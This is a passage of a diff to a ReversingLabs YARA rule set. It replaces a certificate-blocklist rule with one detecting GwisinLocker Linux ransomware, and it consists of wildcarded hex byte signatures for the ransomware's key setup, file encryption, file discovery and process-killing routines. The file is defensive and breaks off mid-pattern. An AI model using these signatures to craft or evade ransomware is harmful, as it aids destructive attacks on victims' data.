?? ?? ?? 48 89 44 24 ?? 31 C0 F2 AE 4C 89 + E7 48 F7 D1 4C 8D 71 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 85 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 48 83 C4 ?? 4C 89 E6 48 89 C2 5B 5D 41 5C 41 5D 41 + 5E 41 5F BF ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 45 84 FF 48 8D 6B ?? 74 ?? 0F B6 4B ?? + 48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ?? + 80 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 + ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ?? + ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FC 31 C0 48 83 C9 ?? 48 89 EF + F2 AE 4C 89 F0 48 29 C8 48 3B 44 24 ?? 76 ?? 48 8B 3D ?? ?? ?? ?? 48 89 E9 4C 89 E2 + BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EE 48 8D 7B ?? + C6 03 ?? E8 ?? ?? ?? ?? 41 0F B6 C7 4C 8B 4C 24 ?? 4C 8B 44 24 ?? 89 44 24 ?? 48 8B + 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 74 24 ?? 4C 89 E7 48 89 44 24 ?? 48 8B + } + $find_files_p2 = { + 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 04 24 E8 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 45 84 FF 0F 85 ?? ?? ?? ?? FC 48 83 C9 ?? 48 89 EF 44 88 + F8 F2 AE 48 8B 54 24 ?? 48 89 EF 48 89 CB 48 8B 4C 24 ?? 48 F7 D3 48 89 DE 4C 8D 6B + ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EA 4C + 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8D 7B ?? 48 89 EE C6 03 ?? E8 ?? ?? ?? + ?? 0F B7 0D ?? ?? ?? ?? 4C 89 E7 4C 8B 44 24 ?? 48 8B 54 24 ?? 48 8B 74 24 ?? FF 15 + ?? ?? ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? 48 8B 7C 24 ?? B9 ?? ?? ?? ?? 4C 89 E2 BE ?? + ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8B 74 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 8D 56 ?? + 4C 89 E6 E8 ?? ?? ?? ?? C6 03 ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C3 0F + 85 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F E9 + } + $setup_environment = { + 55 48 89 E5 41 56 49 89 F6 BE ?? ?? ?? ?? 41 55 41 54 53 48 89 FB 48 83 EC ?? E8 ?? + ?? ?? ?? 48 85 C0 49 89 C4 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7D ?? E8 ?? ?? + ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49 + 89 C4 74 ?? 0F B7 55 ?? 48 8B 7D ?? 48 89 C1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55 + ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55 ?? 31 C9 39 C2 0F 85 + ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? + ?? 49 89 E5 E8 ?? ?? ?? ?? 66 8B 3D ?? ?? 22 00 66 03 3D ?? ?? 22 00 66 8B 05 ?? ?? + 22 00 66 89 7D ?? 0F B7 FF 66 89 45 ?? E8 ?? ?? ?? ?? 0F B7 7D ?? 48 89 45 ?? E8 ?? + ?? ?? ?? 0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? 48 89 45 ?? E8 ?? ?? ?? ?? + 0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 75 ?? BF ?? ?? + ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 45 ?? 0F B7 35 ?? ?? ?? ?? 31 C9 48 8B 7D ?? 48 83 + C0 ?? 25 ?? ?? ?? ?? 48 29 C4 48 8D 5C 24 ?? 48 83 E3 ?? 48 89 DA E8 ?? ?? ?? ?? 48 + 89 DE BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 48 03 + 7D ?? E8 ?? ?? ?? ?? 66 39 05 ?? ?? 22 00 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 + EC 31 C9 EB ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D 75 ?? B9 ?? ?? ?? ?? 4C 89 F7 FC F3 A5 + B1 ?? EB ?? 4C 89 EC EB ?? 48 8D 65 ?? 89 C8 5B 41 5C 41 5D 41 5E C9 C3 + } + $make_configuration = { + 41 56 BE ?? ?? ?? ?? 49 89 FE BF ?? ?? ?? ?? 41 55 41 54 55 53 48 83 EC ?? E8 ?? ?? + ?? ?? 84 C0 88 C3 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 FF EB ?? BF ?? ?? ?? ?? E8 + ?? ?? ?? ?? BA ?? ?? ?? ?? 0F B7 F0 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 + ?? ?? ?? ?? B9 ?? ?? ?? ?? 49 89 C4 48 89 C2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? 66 C7 00 + ?? ?? C6 40 ?? ?? E8 ?? ?? ?? ?? 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 + E6 4C 89 E7 E8 ?? ?? ?? ?? 84 C0 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? + E8 ?? ?? ?? ?? FC 88 D8 BF ?? ?? ?? ?? 48 83 C9 ?? F2 AE 48 F7 D1 48 FF C9 8D 59 ?? + 83 C1 ?? 48 63 F9 E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 0F 84 ?? ?? ?? ?? 48 8D 78 ?? 48 + 63 D3 BE ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 85 C0 48 89 C3 BF ?? ?? ?? ?? 74 ?? 0F B7 54 24 ?? 48 8B 7C 24 ?? 48 89 C1 BE ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? BF ?? ?? ?? + ?? E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 F7 48 89 E6 B9 ?? ?? ?? ?? FC F3 A5 + 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E C3 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x87\\x8D\\xE5\\xBA\\x86\\xE8\\xAF\\x9D\\xE8\\xAF\\xAD\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "03:86:6d:eb:18:3a:bf:bf:4f:f4:58:d4:de:7b:d7:3a" and 1371772799 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( $setup_environment ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $make_configuration ) } - -rule REVERSINGLABS_Cert_Blocklist_1Be41B34127Ca9E6270830D2070Db426 : INFO FILE +rule REVERSINGLABS_Linux_Ransomware_Gwisinlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GwisinLocker ransomware." author = "ReversingLabs" - id = "bee69e9d-db8e-5d4e-8e97-b3791b4f717d" - date = "2020-08-05" - modified = "2023-11-08" + id = "9f00e1b4-3692-5824-b614-724073532c1f" + date = "2022-10-11" + modified = "2022-10-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2468-L2484" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.GwisinLocker.yara#L1-L354" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b66c4b9264be70d53838442a3112c4bacbdf2dda90840d71c3eb949e630b3f17" + logic_hash = "c23c0b73bbefbd644ffe1398e1f14eec3a89945cb3c3ccbc6f46c57046b53505" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GwisinLocker" + tc_detection_factor = 5 importance = 25 + strings: + $init_key_v1 = { + 55 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 74 24 ?? 56 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 31 FF 83 EC ?? 56 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 + F8 5B 5E 5F 5D C3 66 90 31 D2 31 C0 89 54 04 ?? 83 C0 ?? 83 F8 ?? 72 ?? 83 EC ?? 8D + 83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 C5 8D 7C 24 ?? 85 + C0 74 ?? 50 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 89 2C 24 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? + 6A ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? 83 EC ?? 8D 44 + 24 ?? 50 FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? FF B3 + ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 56 FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 0F 94 C0 0F B6 C0 89 C7 E9 + } + $encrypt_files_v1_p1 = { + 55 B9 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8B 84 + 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 83 EC ?? 89 44 24 ?? 89 + C7 31 C0 F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 89 44 + 24 ?? 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? 31 FF 83 EC ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 + ?? ?? ?? ?? 58 5A 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 59 5E 6A ?? FF 74 24 ?? E8 ?? ?? + ?? ?? 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 83 EC ?? 6A ?? 8D 84 24 + ?? ?? ?? ?? 89 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 89 74 24 ?? + 85 C0 74 ?? 83 EC ?? 6A ?? FF 74 24 ?? 56 E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 59 5E 50 + 89 C5 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F 84 ?? + ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 89 C7 FF B4 24 ?? + ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 01 FA 89 D0 8B 54 + 24 ?? 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? 8B 94 24 ?? ?? ?? ?? + C6 44 3A ?? ?? BF ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? + ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 39 C1 B9 ?? ?? ?? ?? 19 D1 7D ?? 83 EC ?? FF B4 24 + ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? FF 74 + 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 83 EC ?? 56 E8 ?? ?? ?? + ?? 58 5A 55 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F + } + $encrypt_files_v1_p2 = { + 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 8B 74 24 + ?? 8B 7C 24 ?? 89 D1 89 74 24 ?? 89 7C 24 ?? 83 C4 ?? 39 F0 19 F9 7D ?? 89 44 24 ?? + 89 54 24 ?? 8B 7C 24 ?? 8B 74 24 ?? 89 F9 89 F5 C1 F9 ?? 89 C8 89 4C 24 ?? 31 CD 8B + 74 24 ?? C1 F8 ?? 89 44 24 ?? 89 E8 29 F0 8B 74 24 ?? 89 C7 83 E7 ?? 31 CF 89 F8 8B + 7C 24 ?? 29 F0 8B 74 24 ?? 89 FA 19 FA 8B 7C 24 ?? 29 C6 89 74 24 ?? 19 D7 83 EC ?? + 89 7C 24 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? + B9 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 31 C0 F3 AB 89 94 24 ?? ?? ?? ?? 56 6A ?? FF 74 + 24 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 83 + EC ?? FF 74 24 ?? E8 ?? ?? ?? ?? 5F 5D FF B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 8B 54 24 ?? 31 FF 8B 44 24 ?? + 89 7C 24 ?? 89 74 24 ?? 8D 74 24 ?? 89 D7 89 74 24 ?? 8D B3 ?? ?? ?? ?? 09 C7 89 74 + } + $encrypt_files_v1_p3 = { + 24 ?? 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 89 4C 24 ?? EB ?? 66 90 83 EC ?? 31 + ED FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF 74 24 ?? FF 74 + 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 31 D2 6A ?? 8B 84 24 ?? ?? ?? ?? 52 F7 D8 + 50 57 E8 ?? ?? ?? ?? 57 FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 44 24 ?? 8B BC 24 ?? ?? ?? ?? 8B 54 24 ?? 29 F8 19 EA 89 44 24 ?? 89 D6 89 54 + 24 ?? 83 C4 ?? 09 C6 74 ?? 39 84 24 ?? ?? ?? ?? 89 E9 8B 7C 24 ?? 19 D1 0F 4C 84 24 + ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? + ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 57 + FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 84 24 ?? + ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 EC ?? BF ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 + ?? E9 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? E9 + } + $find_files_v1_p1 = { + 55 89 C5 57 E8 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 54 24 ?? 8B + B4 24 ?? ?? ?? ?? 89 7C 24 ?? 89 FB 89 4C 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 85 C0 74 ?? 8D 58 ?? 80 7C 05 ?? ?? 0F 45 D8 89 5C 24 ?? + 8B BC 24 ?? ?? ?? ?? 83 E7 ?? 74 ?? 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B + 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 + ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D + B4 26 ?? ?? ?? ?? 66 90 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B 5C 24 ?? E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 78 ?? 8B 84 24 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C6 44 24 ?? ?? 31 FF C7 44 24 ?? + ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? F6 84 24 ?? ?? ?? ?? ?? 74 ?? 85 F6 0F 84 ?? ?? + ?? ?? 8B 4E ?? 8B 5E ?? 31 D1 31 C3 09 CB 0F 84 ?? ?? ?? ?? 31 FF 81 C4 ?? ?? ?? ?? + 89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 8B 5C 24 ?? E8 ?? ?? ?? ?? 89 C7 8B 00 83 F8 ?? + 0F 85 ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 55 6A ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? + ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 46 ?? 8B 4C 24 + ?? 83 C0 ?? 83 C1 ?? 89 44 24 ?? 89 44 24 ?? 8B 46 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44 + } + $find_files_v1_p2 = { + 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B + 84 24 ?? ?? ?? ?? 83 E0 ?? 89 44 24 ?? 75 ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? + 55 8B 44 24 ?? FF D0 89 C7 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 74 ?? 8B 84 24 ?? + ?? ?? ?? 8B 5C 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 8B BC 24 ?? ?? ?? ?? 89 C5 EB ?? 8D B6 + ?? ?? ?? ?? 8B 36 85 F6 74 ?? 8B 46 ?? 8B 56 ?? 31 D8 31 CA 09 C2 75 ?? 8B 46 ?? 8B + 56 ?? 31 E8 31 FA 09 C2 0F 84 ?? ?? ?? ?? 8B 36 85 F6 75 ?? 8B 6C 24 ?? 8B 7C 24 ?? + 85 FF 74 ?? 80 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B 44 24 ?? C6 44 05 ?? ?? 8B 44 24 ?? + 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? 55 8B 44 24 ?? FF D0 + 83 C4 ?? 89 C7 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 66 90 83 EC ?? 6A ?? 55 8B 5C + 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8B 00 89 44 24 ?? + 83 C4 ?? 85 FF 79 ?? 83 F8 ?? 0F B6 4C 24 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ?? + ?? ?? 0F 44 44 24 ?? 0F 45 CA 89 44 24 ?? 88 4C 24 ?? 8B 44 24 ?? 85 C0 0F 85 ?? ?? + ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D B4 + 26 ?? ?? ?? ?? 8D 76 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 48 ?? 89 4C 24 ?? 89 4C 24 ?? 85 C0 74 ?? 80 7C 05 + ?? ?? 74 ?? E9 ?? ?? ?? ?? 8D 76 ?? 80 7C 05 ?? ?? 0F 85 ?? ?? ?? ?? 83 E8 ?? 75 ?? + 31 D2 89 54 24 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 + } + $find_files_v1_p3 = { + 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? E9 ?? ?? ?? ?? 90 + 8B 84 24 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? 83 E0 ?? 83 F8 ?? 19 C0 83 E0 ?? + 83 C0 ?? 89 44 24 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 90 8B 74 24 ?? 85 F6 0F 88 + ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 C0 0F + 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 ?? 89 44 24 ?? 8D B4 26 ?? ?? ?? ?? 8D 76 ?? + 83 EC ?? 56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 78 ?? ?? + 0F 84 ?? ?? ?? ?? 83 EC ?? 8D 78 ?? 57 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B 44 24 + ?? 0F 83 ?? ?? ?? ?? 8B 44 24 ?? 83 EC ?? C6 44 05 ?? ?? 57 8B 44 24 ?? 01 E8 50 8B + 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 5A 5B 8D 48 ?? 8D 44 24 ?? 50 89 E8 FF B4 24 ?? + ?? ?? ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 89 C7 + 56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 0F 84 ?? ?? + ?? ?? 66 83 78 ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 80 7C 05 ?? + ?? 8D 48 ?? 89 C2 0F 84 ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 80 7C 05 ?? ?? 8D 50 ?? + 75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 66 90 89 C2 85 D2 0F 84 ?? ?? ?? ?? 80 7C + 15 ?? ?? 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? + 31 FF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 EC ?? 56 8B 5C 24 ?? + E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 FB BF ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 00 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? + ?? ?? ?? BF + } + $kill_processes_v1_p1 = { + 55 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 E9 56 53 E8 ?? ?? ?? ?? 81 C3 + ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 66 89 54 24 ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 + ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? + C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 8B 83 ?? ?? ?? ?? + 89 44 24 ?? 8B 83 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? F3 A5 8D B4 24 ?? ?? ?? ?? C6 44 + } + $kill_processes_v1_p2 = { + 24 ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 F7 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 CD C7 44 24 ?? ?? ?? + ?? ?? B9 ?? ?? ?? ?? 89 E8 F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? + ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? + ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 + B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 + 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? 